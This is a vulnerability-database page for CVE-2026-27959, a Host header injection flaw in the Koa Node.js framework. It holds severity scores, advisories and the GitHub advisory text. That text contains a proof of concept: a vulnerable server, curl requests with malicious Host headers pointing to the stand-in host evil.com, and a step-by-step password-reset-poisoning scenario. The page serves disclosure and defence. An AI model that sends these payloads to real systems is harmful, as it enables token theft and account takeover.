CVE-2026-27959

highpriority · track · 10EPSS 0.004 · 33 %ileexploit · PoCDEEURUUS
grimoire priorityP1 · Urgent
Exploitable?
Public exploit
1 exploit · PoC
Likely / severe?
0.39% (33rd) EPSS
CVSS 7.5 · high
Is it mine?
17 products
Check your exposure
Who says so?
6 sources
cnnvd · enisa_euvd · fstec_bdu · cert_bund

EPSS · scored 2026-10-27

Koa is middleware for Node.js using ES2017 async functions. Prior to versions 3.1.2 and 2.16.4, Koa's `ctx.hostname` API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a `@` symbol is received, `ctx.hostname` returns `evil[.]com` - an attacker-controlled value. Applications using `ctx.hostname` for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks. Versions 3.1.2 and 2.16.4 fix the issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.2
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.17.5highAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Nsecondary · FSTEC (BDU) RU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Nsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Nsecondary · security-advisories@github.comexploitability 3.9 · impact 3.6
v3.18.2highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:Nsecondaryexploitability 3.9 · impact 4.2
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Nsecondary · OSV
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

exploits (1)

Public proof-of-concept and weaponised exploit code.

05

affected products (17)

Products and version ranges known to be affected.

06

advisories (3)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-1007IBM App Connect Enterprise: Mehrere SchwachstellenDeutsch2026-04-07csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um Sicherheitsvorkehrungen zu umgehen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen Cross-Site Scripting Angriff durchzuführen, um einen SQL-Injection Angriff durchzuführen, und um beliebigen Programmcode auszuführen.

  • WID-SEC-W-2026-2933Splunk SOAR: Mehrere SchwachstellenDeutsch2026-08-19csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Splunk SOAR ausnutzen, um Sicherheitsvorkehrungen zu umgehen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen SQL-Injection Angriff durchzuführen, um einen Cross-Site Scripting Angriff durchzuführen, und um beliebigen Programmcode auszuführen.

  • GHSA-7gcc-r8m5-44qmKoa has Host Header Injection via ctx.hostname2026-02-26ghsa · osvUS

    ## Summary Koa's `ctx.hostname` API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a `@` symbol (e.g., `evil.com:fake@legitimate.com`) is received, `ctx.hostname` returns `evil.com` - an attacker-controlled value. Applications using `ctx.hostname` for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks. ## Details The vulnerability exists in Koa's hostname getter in `lib/request.js`: ```javascript // Koa 2.16.1 - lib/request.js get hostname() { const host = this.host; if (!host) return ''; if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal return host.split(':', 1)[0]; } ``` The `host` getter retrieves the raw header value with HTTP/2 and proxy support: ```javascript // Koa 2.16.1 - lib/request.js get host() { const proxy = this.app.proxy; let host = proxy && this.get('X-Forwarded-Host'); if (!host) { if (this.req.httpVersionMajor >= 2) host = this.get(':authority'); if (!host) host = this.get('Host'); } if (!host) return ''; return host.split(',')[0].trim(); } ``` ### The Problem The parsing logic simply splits on the first `:` and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2. **RFC 3986 Section 3.2.2** defines the host component as: ``` host = IP-literal / IPv4address / reg-name reg-name = *( unreserved / pct-encoded / sub-delims ) unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~" sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "=" ``` The `@` character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component. ### Attack Vector When an attacker sends: ``` Host: evil.com:fake@legitimate.com:3000 ``` Koa parses this as: | API | Returns | Notes | |-----|---------|-------| | `ctx.get('Host')` | `"evil.com:fake@legitimate.com:3000"` | Raw header | | `ctx.hostname` | `"evil.com"` | **Attacker-controlled** | | `ctx.host` | `"evil.com:fake@legitimate.com:3000"` | Raw header value | | `ctx.origin` | `"http://evil.com:fake@legitimate.com:3000"` | Protocol + malformed host | The `ctx.hostname` API returns `evil.com` because the parser splits on the first `:` without understanding that `evil.com:fake@legitimate.com` is a malformed authority component where `evil.com:fake` would be interpreted as userinfo by a proper URI parser. ### Additional Concern: `ctx.origin` Koa's `ctx.origin` property concatenates protocol and host without validation: ```javascript // lib/request.js get origin() { return `${this.protocol}://${this.host}`; } ``` Applications using `ctx.origin` for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo. ### HTTP/2 Consideration Koa explicitly checks `httpVersionMajor >= 2` to read the `:authority` pseudo-header: ```javascript if (this.req.httpVersionMajor >= 2) host = this.get(':authority'); ``` The same vulnerability applies - malformed `:authority` values containing userinfo would be accepted and parsed identically. ## PoC ### Setup ```javascript // server.js const Koa = require('koa'); const app = new Koa(); // Simulates password reset URL generation (common vulnerable pattern) app.use(async ctx => { if (ctx.path === '/forgot-password') { const resetToken = 'abc123securtoken'; const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`; ctx.body = { message: 'Password reset link generated', resetUrl: resetUrl, debug: { rawHost: ctx.get('Host'), parsedHostname: ctx.hostname, origin: ctx.origin, protocol: ctx.protocol } }; } }); app.listen(3000, () => console.log('Server on http://localhost:3000')); ``` ### Exploit ```bash curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password ``` ### Result ```json { "message": "Password reset link generated", "resetUrl": "http://evil.com/reset?token=abc123securtoken", "debug": { "rawHost": "evil.com:fake@localhost:3000", "parsedHostname": "evil.com", "origin": "http://evil.com:fake@localhost:3000", "protocol": "http" } } ``` The password reset URL points to `evil.com` instead of the legitimate server. In a real attack: 1. Attacker requests password reset for victim's email with malicious Host header 2. Server generates reset link using `ctx.hostname` → `https://evil.com/reset?token=SECRET` 3. Victim receives email with poisoned link 4. Victim clicks link, token is sent to attacker's server 5. Attacker uses token to reset victim's password ### Additional Test Cases ```bash # Basic injection curl -H "Host: evil.com:x@legitimate.com" http://localhost:3000/forgot-password # Result: hostname = "evil.com" # With port preservation attempt curl -H "Host: evil.com:443@legitimate.com:3000" http://localhost:3000/forgot-password # Result: hostname = "evil.com" # Unicode/encoded variations curl -H "Host: evil.com:x%40legitimate.com" http://localhost:3000/forgot-password # Result: hostname = "evil.com" ``` ### Deployment Consideration For this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when: 1. **No reverse proxy** - Application directly exposed to internet 2. **Misconfigured proxy** - Proxy doesn't override/validate Host header 3. **Proxy trust enabled** (`app.proxy = true`) - `X-Forwarded-Host` can be injected 4. **Default virtual host** - Server is the catch-all for unrecognized Host headers ## Impact ### Vulnerability Type - CWE-20: Improper Input Validation - CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax ### Attack Scenarios **1. Password Reset Poisoning (High Severity)** - Attacker hijacks password reset tokens by poisoning reset URLs - Requires victim to click link in email - Results in account takeover **2. Email Verification Bypass** - Attacker poisons email verification links - Can verify attacker-controlled email on victim accounts **3. OAuth/SSO Callback Manipulation** - Applications using `ctx.hostname` for OAuth redirect URIs - Attacker redirects OAuth callbacks to malicious server - Results in token theft **4. Web Cache Poisoning** - If responses are cached without Host in cache key - Poisoned URLs served to all users - Persistent XSS/phishing via cached responses **5. Server-Side Request Forgery (SSRF)** - Internal routing decisions based on `ctx.hostname` - Attacker manipulates which backend receives requests ### Who Is Impacted - **Direct impact**: Any Koa application using `ctx.hostname` or `ctx.origin` for URL generation without additional validation - **Common patterns**: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations

07

also known as (4)

Other names and identifiers for this entity.

08

sources

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09

references (15)

External citations — patches, advisories, analysis.

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